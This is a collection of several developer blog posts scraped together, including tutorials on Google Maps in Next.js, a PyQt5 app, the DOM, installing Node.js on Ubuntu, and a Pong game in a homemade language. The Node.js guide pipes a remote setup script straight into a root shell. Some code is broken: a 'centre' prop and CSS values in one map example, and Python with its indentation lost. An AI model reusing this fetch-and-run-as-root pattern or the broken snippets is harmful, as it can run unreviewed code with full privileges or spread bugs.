For me, one of the key points that will get you to enjoy your day-to-day work is having a great connection with your colleagues. Having that connection serves as a reminder that although we're in a work environment, that shouldn't stop us from having open and sincere connections. We don't have to limit ourselves to being the guy who just stares at the screen all day long (although that's a personal choice).
Don't be afraid to engage and say hello, be curious about them, and have honest conversations. Not everything should be connected to work all the time. Being the "new" guy doesn't make you "less". Be yourself, and express yourself in an honest & positive manner with your colleagues so that you can reap the benefits.
Having a sincere and great connection with your colleagues will give you the opportunity to learn from them too. It will open a door for them to give you sincere advice on yourself that you might have missed. You could even learn from one another and most importantly, count on each other too.
## 2. Avoiding Hard Tasks on Purpose
Honestly, this one isn't just for junior devs, but let's keep it that way for now. Look, we've all been beginners and we've gone through this process of thought: logically, you'd be thinking "I don't want to screw this up for myself at the very start and God forbid I look 'dumb' and not finish this task." Let me just say, that thought is understandable, but it doesn't make it true and let me show you why.
First of all, when you're hired as a junior, you're not fully hired for your level of knowledge when compared to your potential. So, that means the company that hired you is aware of your current knowledge and is totally fine with it. They hired you so that you could learn more and they know you have a lot of potential.
So, by avoiding those hard tasks, you're not only missing out on your learning curve, but even on the timing. Because no matter how long you avoid them, there'll always be one that you will have to do and believe me, it's best to choose to learn them properly at your beginnings than to not know them with lots of experience.
Again, I'm not saying to go full crazy mode on the hard tasks. Pick the hard ones incrementally too, you'll learn that way. Do not think of it as a way that you could endanger your job, but rather think of it as an opportunity to learn more and grow. Your company is aware of your current level and they value your potential and you should capitalize on that.
## 3. Not Asking Questions
It's understandable, and you probably are thinking that you'll be annoying to your colleagues/seniors and that you're bothering them. But let me just say that whichever senior is bothered and doesn't want to help isn't really a senior. You should not be afraid to learn alongside your colleagues and ask them questions, whether that is for the project you're working on, or for code-related things.
Of course, this doesn't mean to "bombard" them with tons of questions and for every problem you have, but when you feel you're better off with a question and that you can't really grasp the problem or the solution, it is totally normal to ask for help and guidance.
## 4. Taking PR Reviews Personally
Behind a great dev or even a junior one, there's a personality and a certain amount of ego, that's... understandable. But, realistically - the PR review process is one of the best ways for you to grow and learn from your colleagues.
You need to take into consideration that they're commenting on your code and how it can be done better, in a way for you to grow and not in a way to make you feel bad. Although we're humans and perspective on something can shape our emotions, your view on them should be that they'll help you grow and learn much more than taking them personally and not even taking them into consideration.
All I can say for this is, don't be chained by your own ego, and open yourself to being wrong (which we all are) and you'll see yourself grow exponentially more.
## 5. Copy Pasting Code You Don't Understand
We've all been there at some point, where if we're in "trouble" and find some working code (possibly from StackOverflow/ChatGPT) we just get that bad boy into our code repo. While it seems to do the trick, let me just say that it is a temporary solution that is not only blocking your learning process but it might even introduce new bugs to your application due to the lack of understanding.
What you should do instead is, try to understand code first and then apply it. Not only will that help you grow more, but it will also help you identify possible issues with it going forward.
You'll need to accept and embrace that part of the junior process is that you'll need to get uncomfortable more. The more you get into a "hard" spot and possibly make mistakes, the more you learn. Don't let that temporary happiness of blindly pasted code fool you and rob you of your learning process. | g3nt |

1,881,268 | Creating an Interactive Map with the Google Maps API in Next.js | Introduction In this article, we will learn how to integrate the Google Maps API into a... | 0 | 2024-06-08T10:07:59 | https://dev.to/adrianbailador/creating-an-interactive-map-with-the-google-maps-api-in-nextjs-54a4 | webdev, javascript, nextjs, googlecloud | ## Introduction
In this article, we will learn how to integrate the Google Maps API into a Next.js application. We will cover everything from the initial setup to implementing advanced features such as multiple markers, routes, and calculating distances between locations.
## Step 1: Initial Setup of the Next.js Project
First, let's create a new Next.js project. Open your terminal and run the following commands:
```bash
npx create-next-app my-google-maps-app
cd my-google-maps-app
npm install --save @react-google-maps/api
```
## Step 2: Obtain the Google Maps API Key
1. Go to the [Google Cloud Console](https://console.cloud.google.com/).
2. Create a new project or select an existing one.
3. In the navigation menu, go to `APIs & Services > Library`.
4. Search for "Maps JavaScript API" and click on it.
5. Click `Enable` to activate the API for your project.
6. Go to `APIs & Services > Credentials`.
7. Click `Create credentials` and select `API key`.
8. Copy the generated API key. This is the key you will use in your code.
## Step 3: Handling Environment Variables in Next.js
Use environment variables to avoid exposing your API key in the source code. Create a `.env.local` file in the root of your project and add your API key:
```env
NEXT_PUBLIC_GOOGLE_MAPS_API_KEY=your_api_key_here
```
## Step 4: Create a React Component with a Google Map
Here's an example of how to use the Google Maps API in a React component to display a map with a marker:
```jsx
'use client'
import React from 'react';
import { GoogleMap, LoadScript, Marker } from '@react-google-maps/api';
const containerStyle = {
width: '100%',
height: '400px'
};
const center = {
lat: 37.437041393899676,
lng: -4.191635586788259
};
const GoogleMapComponent = () => {
return (
<LoadScript googleMapsApiKey={process.env.NEXT_PUBLIC_GOOGLE_MAPS_API_KEY}>
<GoogleMap
mapContainerStyle={containerStyle}
center={center}
zoom={10}
>
<Marker position={center} />
</GoogleMap>
</LoadScript>
);
};
export default GoogleMapComponent;
```
## Step 5: Add Routes to the Map
To add routes to the map, you must use the `DirectionsService` and `DirectionsRenderer` components from the `@react-google-maps/api` library. Here's an example of how to do this:
```jsx
'use client'
import React from 'react';
import { GoogleMap, LoadScript, Marker, DirectionsService, DirectionsRenderer } from '@react-google-maps/api';
const containerStyle = {
width: '100%',
height: '400px'
};
const origin = {
lat: 37.437041393899676,
lng: -4.191635586788259
};
const destination = {
lat: 37.440575591901045,
lng: -4.231433159434073
};
const GoogleMapRouteComponent = () => {
const [directions, setDirections] = React.useState(null);
const [travelTime, setTravelTime] = React.useState(null);
const directionsCallback = (response) => {
if (response !== null) {
if (response.status === 'OK') {
setDirections(response);
const route = response.routes[0].legs[0];
setTravelTime(route.duration.text);
} else {
console.error('Directions request failed due to ' + response.status);
}
}
};
return (
<LoadScript googleMapsApiKey={process.env.NEXT_PUBLIC_GOOGLE_MAPS_API_KEY}>
<GoogleMap
mapContainerStyle={containerStyle}
center={origin}
zoom={10}
>
<Marker position={origin} />
<Marker position={destination} />
<DirectionsService
options={{
destination: destination,
origin: origin,
travelMode: 'DRIVING'
}}
callback={directionsCallback}
/>
{directions && (
<DirectionsRenderer
options={{
directions: directions
}}
/>
)}
</GoogleMap>
{travelTime && <p>Estimated travel time: {travelTime}</p>}
</LoadScript>
);
};
export default GoogleMapRouteComponent;
```
## Step 6: Explanation of the Directions API
The Google Maps Directions API is a service that calculates directions between locations. It can provide detailed route information, including travel time, distance, and steps for navigating from one place to another. In the above example:
- **DirectionsService**: This component is used to fetch directions from the Google Maps API. It requires options such as the origin, destination, and travel mode (e.g., driving, walking, biking).
- **DirectionsRenderer**: This component takes the directions fetched by the `DirectionsService` and renders them on the map.
- **Callback Function**: The callback function processes the response from the Directions API. If the response is successful (`status === 'OK'`), it updates the state with the directions and the travel time.
## Step 7: Add a Loader While the Map is Loading
To improve the user experience, you can add a loader while the map is loading:
```jsx
// components/Loader.js
const Loader = () => (
<div style={{ display: 'flex', justifyContent: 'centre', alignItems: 'centre', height: '400px' }}>
<p>Loading...</p>
</div>
);
export default Loader;
```
```jsx
'use client'
import React from 'react';
import { GoogleMap, LoadScript, Marker } from '@react-google-maps/api';
import Loader from '../components/Loader';
const containerStyle = {
width: '100%',
height: '400px'
};
const centre = {
lat: 37.437041393899676,
lng: -4.191635586788259
};
const GoogleMapComponent = () => {
return (
<LoadScript googleMapsApiKey={process.env.NEXT_PUBLIC_GOOGLE_MAPS_API_KEY} loadingElement={<Loader />}>
<GoogleMap
mapContainerStyle={containerStyle}
centre={centre}
zoom={10}
>
<Marker position={centre} />
</GoogleMap>
</LoadScript>
);
};
export default GoogleMapComponent;
```
## Step 8: Implementing Multiple Markers
To display multiple locations on the map, you can iterate over an array of locations and create a marker for each one.
```jsx

1,881,266 | How To Create a Python GUI To Write Data to a File With PyQt5 | Creating graphical user interfaces (GUIs) for your Python applications can make them more... | 0 | 2024-06-08T10:05:01 | https://dev.to/hichem-mg/how-to-create-a-python-gui-to-write-data-to-a-file-with-pyqt5-4af4 | python, tutorial | Creating graphical user interfaces (GUIs) for your Python applications can make them more user-friendly and accessible. PyQt5 is a powerful library that allows you to create professional-looking GUIs with ease.
In this tutorial, we'll build a simple application that lets users enter text and save it to a file. We'll cover everything from setting up the environment to enhancing the functionality of the application.
### Prerequisites
Before we begin, ensure you have the following:
- Basic understanding of Python programming.
- [Python 3](https://www.python.org/downloads/) installed on your system.
- [PyQt5 library](https://pypi.org/project/PyQt5/) installed (you can install it via pip).
To install PyQt5, run:
```bash
pip install PyQt5
```
### Step 1: Setting Up the Project Structure
First, create a project directory and navigate into it:
```bash
mkdir PyQt5FileWriter
cd PyQt5FileWriter
```
### Step 2: Creating the Main Application File
Create a new Python file named `main.py` in your project directory. This file will contain the main application logic.
### Step 3: Importing Required Modules
In `main.py`, start by importing the necessary modules from PyQt5:
```python
import sys
from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QLabel, QLineEdit, QPushButton, QFileDialog, QMessageBox
```
### Step 4: Designing the GUI
Next, we'll create a class for our main application window. This class will define the layout and components of our GUI.
Define the class and the constructor:
```python
class FileWriterApp(QWidget):
def __init__(self):
super().__init__()
self.initUI()
```
Initialize the UI components within `initUI` method:
```python
def initUI(self):
self.setWindowTitle('PyQt5 File Writer')
self.setGeometry(100, 100, 400, 200)
layout = QVBoxLayout()
self.label = QLabel('Enter text to save to file:', self)
layout.addWidget(self.label)
self.textEdit = QLineEdit(self)
layout.addWidget(self.textEdit)
self.saveButton = QPushButton('Save to File', self)
self.saveButton.clicked.connect(self.saveToFile)
layout.addWidget(self.saveButton)
self.setLayout(layout)
```
### Step 5: Implementing the Save Functionality
Implement the function to save text to a file:
```python
def saveToFile(self):
text = self.textEdit.text()
if not text:
QMessageBox.warning(self, 'Warning', 'Text field is empty')
return
options = QFileDialog.Options()
fileName, _ = QFileDialog.getSaveFileName(self, 'Save File', '', 'Text Files (*.txt);;All Files (*)', options=options)
if fileName:
try:
with open(fileName, 'w') as file:
file.write(text)
QMessageBox.information(self, 'Success', 'File saved successfully')
except Exception as e:
QMessageBox.critical(self, 'Error', f'Could not save file: {e}')
```
### Step 6: Running the Application
To run the application, add the following code at the end of `main.py`:
```python
if __name__ == '__main__':
app = QApplication(sys.argv)
ex = FileWriterApp()
ex.show()
sys.exit(app.exec_())
```
### Step 7: Enhancements and Best Practices
#### Input Validation
Enhance input validation by ensuring that the text is not empty or too long.
```python
def saveToFile(self):
text = self.textEdit.text()
if not text:
QMessageBox.warning(self, 'Warning', 'Text field is empty')
return
if len(text) > 1000:
QMessageBox.warning(self, 'Warning', 'Text is too long')
return
options = QFileDialog.Options()
fileName, _ = QFileDialog.getSaveFileName(self, 'Save File', '', 'Text Files (*.txt);;All Files (*)', options=options)
if fileName:
try:
with open(fileName, 'w') as file:
file.write(text)
QMessageBox.information(self, 'Success', 'File saved successfully')
except Exception as e:
QMessageBox.critical(self, 'Error', f'Could not save file: {e}')
```
#### File Overwrite Warning
Warn users if they are about to overwrite an existing file.
```python
from pathlib import Path
def saveToFile(self):
text = self.textEdit.text()
if not text:
QMessageBox.warning(self, 'Warning', 'Text field is empty')
return
options = QFileDialog.Options()
fileName, _ = QFileDialog.getSaveFileName(self, 'Save File', '', 'Text Files (*.txt);;All Files (*)', options=options)
if fileName:
file_path = Path(fileName)
if file_path.exists():
reply = QMessageBox.question(self, 'File Exists', 'File already exists. Do you want to overwrite it?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.No:
return
try:
with open(fileName, 'w') as file:
file.write(text)
QMessageBox.information(self, 'Success', 'File saved successfully')
except Exception as e:
QMessageBox.critical(self, 'Error', f'Could not save file: {e}')
```
#### UI Improvements
Improve the UI by adding a menu bar and status bar.
```python
from PyQt5.QtWidgets import QMainWindow, QAction, QStatusBar
class FileWriterApp(QMainWindow):
def __init__(self):
super().__init__()
self.initUI()
def initUI(self):
self.setWindowTitle('PyQt5 File Writer')
self.setGeometry(100, 100, 400, 200)
centralWidget = QWidget()
self.setCentralWidget(centralWidget)
layout = QVBoxLayout()
self.label = QLabel('Enter text to save to file:', self)
layout.addWidget(self.label)
self.textEdit = QLineEdit(self)
layout.addWidget(self.textEdit)
self.saveButton = QPushButton('Save to File', self)
self.saveButton.clicked.connect(self.saveToFile)
layout.addWidget(self.saveButton)
centralWidget.setLayout(layout)
menubar = self.menuBar()
fileMenu = menubar.addMenu('File')
saveAction = QAction('Save', self)
saveAction.triggered.connect(self.saveToFile)
fileMenu.addAction(saveAction)
self.statusBar = QStatusBar()
self.setStatusBar(self.statusBar)
```
### Complete Script
Here is the complete `main.py` script with all the enhancements and best practices included:
```python
import sys
from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QVBoxLayout, QLabel, QLineEdit, QPushButton, QFileDialog, QMessageBox, QStatusBar, QAction
from pathlib import Path
class FileWriterApp(QMainWindow):
def __init__(self):
super().__init__()
self.initUI()
def initUI(self):
self.setWindowTitle('PyQt5 File Writer')
self.setGeometry(100, 100, 400, 200)
centralWidget = QWidget()
self.setCentralWidget(centralWidget)
layout = QVBoxLayout()
self.label = QLabel('Enter text to save to file:', self)
layout.addWidget(self.label)
self.textEdit = QLineEdit(self)
layout.addWidget(self.textEdit)
self.saveButton = QPushButton('Save to File', self)
self.saveButton.clicked.connect(self.saveToFile)
layout.addWidget(self.saveButton)
centralWidget.setLayout(layout)
menubar = self.menuBar()
fileMenu = menubar.addMenu('File')
saveAction = QAction('Save', self)
saveAction.triggered.connect(self.saveToFile)
fileMenu.addAction(saveAction)
self.statusBar = QStatusBar()
self.setStatusBar(self.statusBar)
def saveToFile(self):
text = self.textEdit.text()
if not text:
QMessageBox.warning(self, 'Warning', 'Text field is empty')
return
if len(text) > 1000:
QMessageBox.warning(self, 'Warning', 'Text is too long')
return
options = QFileDialog.Options()
fileName, _ = QFileDialog.getSaveFileName(self, 'Save File', '', 'Text Files (*.txt);;All Files (*)', options=options)
if fileName:
file_path = Path(fileName)
if file_path.exists():
reply = QMessageBox.question(self, 'File Exists', 'File already exists. Do you want to overwrite it?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.No:
return
try:
with open(fileName, 'w') as file:
file.write(text)
self.statusBar.showMessage('File saved successfully', 5000)
except Exception as e:
QMessageBox.critical(self, 'Error', f'Could not save file: {e}')
self.statusBar.showMessage('Failed to save file', 5000)
if __name__ == '__main__':
app = QApplication(sys.argv)

1,881,265 | Mastering DOM Manipulation in JavaScript | The Document Object Model (DOM) is an essential part of web development, allowing developers to... | 0 | 2024-06-08T10:01:18 | https://dev.to/dipakahirav/mastering-dom-manipulation-in-javascript-5dcc | javascript, webdev, beginners, dom | The Document Object Model (DOM) is an essential part of web development, allowing developers to dynamically change the structure, content, and style of web pages. In this post, we'll explore DOM manipulation in detail with examples, helping you master this crucial skill.
please subscribe to my [YouTube channel](https://www.youtube.com/@DevDivewithDipak?sub_confirmation=1
) to support my channel and get more web development tutorials.
### What is the DOM?
The Document Object Model (DOM) is a programming interface for web documents. It represents the structure of a document as a tree of nodes, where each node corresponds to a part of the document (e.g., an element, attribute, or piece of text). With the DOM, JavaScript can interact with and modify the content and structure of a web page.
### Selecting Elements
To manipulate the DOM, you first need to select the elements you want to work with. Here are some methods to do this:
- `document.getElementById(id)`: Selects an element by its ID.
- `document.getElementsByClassName(className)`: Selects all elements with the specified class.
- `document.getElementsByTagName(tagName)`: Selects all elements with the specified tag name.
- `document.querySelector(selector)`: Selects the first element that matches the CSS selector.
- `document.querySelectorAll(selector)`: Selects all elements that match the CSS selector.
### Example: Basic DOM Manipulation
Here's a simple example demonstrating DOM manipulation:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DOM Manipulation Example</title>
</head>
<body>
<h1 id="header">Hello, World!</h1>
<p class="paragraph">This is a paragraph.</p>
<button id="changeTextBtn">Change Text</button>
<button id="addElementBtn">Add Element</button>
<script>
// Selecting elements
const header = document.getElementById('header');
const paragraph = document.querySelector('.paragraph');
const changeTextBtn = document.getElementById('changeTextBtn');
const addElementBtn = document.getElementById('addElementBtn');
// Changing text content
changeTextBtn.addEventListener('click', () => {
header.textContent = 'Hello, DOM!';
});
// Adding a new element
addElementBtn.addEventListener('click', () => {
const newParagraph = document.createElement('p');
newParagraph.textContent = 'This is a new paragraph.';
document.body.appendChild(newParagraph);
});
</script>
</body>
</html>
```
### Explanation
1. **HTML Structure**: The HTML structure includes a header, a paragraph, and two buttons.
2. **Selecting Elements**: Using `document.getElementById` and `document.querySelector` to select elements.
3. **Changing Text Content**: Adding an event listener to the `changeTextBtn` button to change the text content of the header when clicked.
4. **Adding a New Element**: Adding an event listener to the `addElementBtn` button to create a new paragraph element and append it to the body when clicked.
### Modifying Styles
You can also modify the styles of elements using the `style` property.
#### Example
```javascript
// Changing styles
header.style.color = 'blue';
header.style.fontSize = '2em';
```
### Removing Elements
You can remove elements using `removeChild` or `remove`.
#### Example
```javascript
// Removing an element
document.body.removeChild(paragraph); // Using removeChild
header.remove(); // Using remove
```
### More Examples
#### Adding Classes
```javascript
header.classList.add('highlight');
```
#### Toggling Classes
```javascript
header.classList.toggle('highlight');
```
#### Setting Attributes
```javascript
header.setAttribute('data-example', 'value');
```
#### Getting Attributes
```javascript
const attributeValue = header.getAttribute('data-example');
console.log(attributeValue); // Outputs: value
```
### Conclusion
DOM manipulation is a powerful feature of JavaScript that allows you to create dynamic and interactive web pages. By selecting elements and modifying their properties, content, and styles, you can significantly enhance the user experience. The examples provided should give you a solid foundation to start experimenting with DOM manipulation in your own projects.

[How Database Monitoring Services Can Ensure Business Continuity](https://thedatascientist.com/how-database-monitoring-services-can-ensure-business-continuity/)
**The Data Science Workflow**
The data science workflow typically consists of several key steps:
## 1. DATA COLLECTION
Data collection is the first step in the data science workflow, involving the aggregation of raw data from various sources. This can include internal databases, external APIs, sensors, and third-party data providers.

Data cleaning involves processing the collected data to remove inaccuracies, duplicates, and inconsistencies, ensuring high-quality data. This step is crucial as poor data quality can lead to incorrect insights and unreliable models.
## 3. EXPLORATORY DATA ANALYSIS (EDA)
Exploratory Data Analysis (EDA) is the process of examining the data to uncover patterns, relationships, and anomalies. This involves generating statistical summaries and visualizations such as histograms, scatter plots, and box plots.
## 4. MODEL BUILDING
Model building is the phase where data scientists develop predictive or descriptive models using machine learning algorithms. This involves selecting suitable algorithms, training them on the cleaned and prepared data, and tuning hyperparameters to optimize performance.
## 5. EVALUATION
Evaluation is the process of assessing the performance and accuracy of the developed models using appropriate metrics. Common metrics include accuracy, precision, recall, F1 score, and mean squared error, depending on whether the problem is classification or regression.
## 6. DEPLOYMENT
Deployment involves integrating the trained model into business processes and systems for real-time or batch predictions. This may include embedding the model in a web application, an API, or an automated workflow.
## 7. MONITORING AND MAINTENANCE
Monitoring and maintenance are ongoing activities that involve tracking the model’s performance in a live environment and making necessary updates. This includes detecting drifts in data patterns, retraining the model with new data, and adjusting parameters to maintain accuracy.
**The Role of Data Science in Business**
**Strategic Decision-Making**
Executives rely on data science to make informed strategic decisions. By analyzing historical data and identifying trends, data scientists can provide predictive insights that help executives anticipate market shifts, customer preferences, and operational challenges. For example, a retail company might use data science to forecast demand for certain products, enabling better inventory management and marketing strategies. Similarly, in the healthcare industry, data science integrated into care management software can enhance patient care by predicting health outcomes and optimizing treatment plans, ensuring efficient resource utilization and improved patient experiences.
**Operational Efficiency**
Data science can streamline operations by identifying inefficiencies and optimizing processes. In manufacturing, predictive maintenance models can foresee equipment failures, reducing downtime and maintenance costs. In logistics, route optimization algorithms can minimize delivery times and fuel consumption. These applications demonstrate how data science can enhance productivity and reduce operational expenses.
**Customer Insights and Personalization**
Understanding customer behavior is crucial for any business. Data science enables companies to analyze customer data to uncover insights about purchasing patterns, preferences, and feedback. This information can be used to personalize marketing efforts, improve customer service, and develop products that better meet customer needs. For instance, e-commerce platforms use recommendation systems powered by data science to suggest products that are likely to interest individual users, thereby increasing sales and customer satisfaction.
**Risk Management**
Risk management is another area where data science proves invaluable. Financial institutions, for example, use data science to detect fraudulent activities, assess credit risks, and comply with regulatory requirements. By analyzing transaction data and identifying anomalies, these institutions can prevent fraud and minimize financial losses.
**Key Technologies in Data Science**
**Machine Learning**
Machine learning, a subset of artificial intelligence, involves training algorithms to make predictions or decisions based on data. It includes supervised learning (e.g., regression, classification), unsupervised learning (e.g., clustering, dimensionality reduction), and reinforcement learning.

Tools like Tableau, Power BI, and D3.js allow data scientists to create interactive and intuitive visualizations. Executives should be familiar with these tools to effectively interpret data and make informed decisions.
**Building a Data-Driven Culture**
**Leadership and Vision**
For data science initiatives to succeed, executive leadership must foster a data-driven culture within the organization. This involves setting a clear vision for how data science can drive business value, allocating resources for data projects, and promoting a mindset that values data-driven decision-making across all levels of the organization.
**Talent Acquisition and Development**
Hiring skilled data scientists, analysts, and engineers is critical for building a robust data science team. Additionally, investing in continuous training and development helps keep the team updated with the latest tools and techniques. Executives should also consider upskilling other employees to enhance their data literacy, enabling them to leverage data in their daily tasks.

1,881,248 | Pong in my own language in my own graphics library in my own game | Since the start of the year I've been solo-working on my game called CompNerdSim. This isn't a game... | 0 | 2024-06-08T09:36:15 | https://dev.to/chigbeef_77/pong-in-my-own-language-in-my-own-graphics-library-in-my-own-game-3fa9 | gamedev, go, programming, coding | Since the start of the year I've been solo-working on my game called [CompNerdSim](https://chigbeef.itch.io/compnerdsim). This isn't a game I'm making with the studio I'm a part of, [STAG](https://saythatagaingames.itch.io/), that will come soon.
If you don't know the premise of CompNerdSim, the layout of the game is similar to a desktop, with icons and windows. The game includes a code editor, which can be used to write in an interpreted language called Slither.
## The Graphics Library
I needed a way to let Slither interface with the screen, so I needed to add functions that can draw basic objects. Luckily, not too long ago, I had added objects, so I could bring these functions together into one object.
```go
clr = graphics.Color(0, 0, 0)
```
That's black, but we can make any color, including white. This makes it easy to pass around colors.
```go
graphics.fill(clr)
```
That's a good one for clearing the screen.
```go
graphics.rect(100, 100, 100, 100, clr)
```
Now we can draw rectangles anywhere on the screen. In this case, `clr` is black, but it can be any color.
```go
graphics.circle(320, 160, 10, clr)
```
Using a position and a radius, the ball can be drawn with this circle. That's all we really need for now, there is a line drawing function, but we're not going to worry about that right now.
Also, we're not going to worry about score, so don't stress about text and fonts (although a tally system could be cool).
So now we have some nice functions we can use, but games need player input.
## Creating an input API
This I only made in one day, so we don't care about the mouse. All we really want is to check whether a key is up or down, and we can.
```go
p1up = input.keyDown("w")
```
It's that simple, nothing too interesting here, but just remember that we have this function now.
## Writing Pong
Because I'm hardcore, I didn't write the code for the game in my usual code editor, Neovim, nor did I use notepad. I used the code editor *in the game*, which is called BScode. The editor is mostly fine, but you have to remember that *I* made it, so it's slightly sketchy. This was true until near the end of the project, which I'll get into later, but I switched to notepad after line width issues (I haven't implemented window resizing and this seemed like a bad time).
However, I persisted and this is the code I ended up with for pong.
```go
clear()
white = graphics.Color(255, 255, 255)
black = graphics.Color(0, 0, 0)
class Ball {
x
y
dx
dy
func init() {
self.x = 320
self.y = 160
self.dx = 10
self.dy = 10
return self
}
func move(p1y, p2y) {
self.x = self.x + self.dx
self.y = self.y + self.dy
if self.y > 278 {
self.dy = 0-10
}
if self.y < 10 {
self.dy = 10
}
if self.x > 610 {
if self.y > p2y {
if self.y - 100 < p2y {
self.dx = 0-10
}
}
}
if self.x < 30 {
if self.y > p1y {
if self.y - 100 < p1y {
self.dx = 10
}
}
}
if self.x > 640 {
self.x = 320
self.y = 160
}
if self.x < 0 {
self.x = 320
self.y = 160
}
return self
}
}
ball = Ball()
class Game {
ball
p1y
p2y
running
func init(ball) {
self.ball = ball
self.p1y = 10
self.p2y = 10
self.running = true
return self
}
func movePlayers() {
p1up = input.keyDown("w")
if p1up {
self.p1y = self.p1y - 10
}
p1down = input.keyDown("s")
if p1down {
self.p1y = self.p1y + 10
}
p2up = input.keyDown("u")
if p2up {
self.p2y = self.p2y - 10
}
p2down = input.keyDown("j")
if p2down {
self.p2y = self.p2y + 10
}
return self
}
func update() {
self = self.movePlayers()
self.ball = self.ball.move(self.p1y, self.p2y)
return self
}
func tick(black, white) {
graphics.fill(black)
graphics.circle(self.ball.x, self.ball.y, 10, white)
graphics.rect(10,self.p1y,10,100,white)
graphics.rect(620,self.p2y,10,100,white)
self = self.update()
self = self.checkExit()
return self
}
func checkExit() {
escape = input.keyDown("escape")
if escape {
self.running = false
}
return self
}
}
game = Game(ball)
for i = 0; game.running; i = i + 1 {
game = game.tick(black, white)
}
graphics.fill(black)
```
This is 123 lines of code, which I'm pretty happy with considering it's in a language I made up. There is something really important to notice, however, and it's that most code that needs to run every frame is in functions and methods. The only thing that's run outside is the loop, and calling `game.tick`. The reason for this is because Slither is interpreted *one line per frame*. This means that if you're writing 60 lines of code for each frame, your game will run at a frame per second. *However*, calling a function only counts as one line, rather than all the lines inside of the function. Therefore, I can speed up my program to run (somewhat) fast. Also, don't even worry about the absence of a while loop, or the increment operator.
Something you may have found interesting was I subtract from 0 sometimes. This is because I (as far as I know) haven't implemented unary operators.
Lastly, you probably noticed I'm always returning `self` at the end of methods. This is because a __copy__ is passed when calling methods, not a reference. In this way, objects are more like structs.
## The Result
I can't really show you all the code and not give a demonstration of the game working (even though you've probably seen pong a million times).
{% embed https://youtu.be/61vven8ajEc %}
## Pong Post-Mortem
Was this a great thing to do? It was probably a bit of a waste of time, however it did point out a lot of weaknesses in my language, and just how far it has to go before it's usable. When I release this game, this will obviously be just the start, and hopefully people take it way further than this. Personally, after release I wouldn't mind implementing a raycaster in Slither, or even Slither in Slither. I will leave it to some crazy person to inevitably implement DOOM in Slither.
If you want to try this game out when it comes out check out [CompNerdSim](https://chigbeef.itch.io/compnerdsim). It's due to come out on the 29th of August. If you have any suggestions or want a copy of the game for testing purposes, feel free to contact me (: | chigbeef_77 |

Node.js is a powerful JavaScript runtime built on Chrome's V8 engine, enabling developers to build fast and scalable network applications. npm, the Node.js package manager, helps in managing dependencies for your projects. In this tutorial, we will guide you through the installation of Node.js and npm on Ubuntu Server 22.04. With EcoStack Cloud VPS, you can quickly set up and run your Node.js applications in a robust environment.
## Requirements
- A VPS with Ubuntu Server 22.04. If you need a VPS, consider using EcoStack Cloud, which offers reliable and scalable VPS solutions with SSH access.
- Basic familiarity with SSH and terminal commands.
### Steps to Install Node.js and npm on Ubuntu Server 22.04
#### Step 1: Connect to Your VPS
Start by connecting to your EcoStack Cloud VPS via SSH. Replace `your-username` and `your-vps-ip` with your actual username and VPS IP address.
```bash
ssh your-username@your-vps-ip
```
#### Step 2: Update the Package Index
Before installing Node.js, update your package index to ensure you get the latest versions of software packages.
```bash
sudo apt update
```
#### Step 3: Install Node.js
There are several ways to install Node.js on Ubuntu. The easiest method is to use the NodeSource binary distributions. First, download and run the NodeSource setup script for Node.js 16 (the LTS version as of this guide):
```bash
curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
```
After adding the NodeSource repository, install Node.js and npm with:
```bash
sudo apt install -y nodejs
```
This command installs both Node.js and npm.
#### Step 4: Verify Installation
To ensure Node.js and npm are installed correctly, check their versions:
- For Node.js:
```bash
node -v
```
This should output the version of Node.js installed (e.g., v16.x.x).
- For npm:
```bash
npm -v
```
This should display the npm version (e.g., 8.x.x).
#### Step 5: Manage Packages with npm
npm allows you to manage packages for your Node.js applications. You can install packages locally for a specific project or globally for system-wide use.
- To install a package locally:
```bash
npm install package-name
```
This command installs the package in the `node_modules` directory within your project.
- To install a package globally:
```bash
sudo npm install -g package-name
```
This makes the package available for use in any project.
#### Step 6: Update npm (Optional)
To update npm to the latest version, use the following command:
```bash
sudo npm install -g npm@latest
```
#### Step 7: Create a Simple Node.js Application (Optional)
To test your Node.js setup, you can create a simple application. Create a new file named `app.js`:
```bash
nano app.js
```
Add the following code to `app.js`:
```javascript
// Load HTTP module
const http = require("http");
const hostname = "127.0.0.1";
const port = 3000;
// Create HTTP server
const server = http.createServer((req, res) => {
res.statusCode = 200;
res.setHeader("Content-Type", "text/plain");
res.end("Hello, World!\n");
});
// Listen on port 3000
server.listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`);
});
```
Save and close the file. Run your Node.js application with:
```bash
node app.js
```
Visit `http://your-vps-ip:3000` in your browser. You should see "Hello, World!" displayed on the page, confirming that your Node.js server is running.

This article is here to make sure I can share my solution, as for as simple it was it might help some people that stumble upon it. Let's start first with what issue I had, what I've done, so that we can walk together through the solution!
<br />
## What was the issue
After following the <a href="https://dev.to/luisca/step-by-step-guide-to-adding-dark-mode-and-multiple-themes-to-your-nextjs-app-15lh" target="_blank">Step-By-Step Guide to Adding Dark Mode and Multiple Themes to Your Next.js App</a> written by <a href="https://dev.to/luisca" target="_blank">Luis Cadillo</a> (thank you pal!), I found myself with a neat Dark mode but my Disqus embed (installed through <a href="https://www.npmjs.com/package/disqus-react" target="_blank">disqus-react npm package</a>) would not update its theme properly, despite its theme settings being on `Auto`.
*Buggy Disqus theme change at the bottom of my articles*
<br />
I checked that the settings in `<sitename>.disqus.com/admin/settings/general/` were correct, but that didn't help.
*Disqus settings for automatic detection of the color scheme.*
<br />
## The solution
My initial challenge was understanding how Disqus determined which theme to show in the page. Browsing the documentation I stumbled on a piece of useful information:
<blockquote>
<span class="font-bold">Light vs. dark color scheme</span><br />
A light or dark color scheme is automatically selected based on your site's stylesheets.
<br />
<br />
<span class="font-bold">How is the color scheme determined?</span><br />
<ul>
<li><mark>The light scheme is loaded when <strong>the text color Disqus inherits from your site has >= 50% gray contrast</strong>: between color: #000000; and color: #787878;</mark></li>
<li>The dark scheme is loaded in all other instances.</li>
</ul>
<div class="text-right">— <a href="https://help.disqus.com/en/articles/1717201-disqus-appearance-customizations" target="_blank">Disqus Appearance Customization</a></div>
</blockquote>
<br />
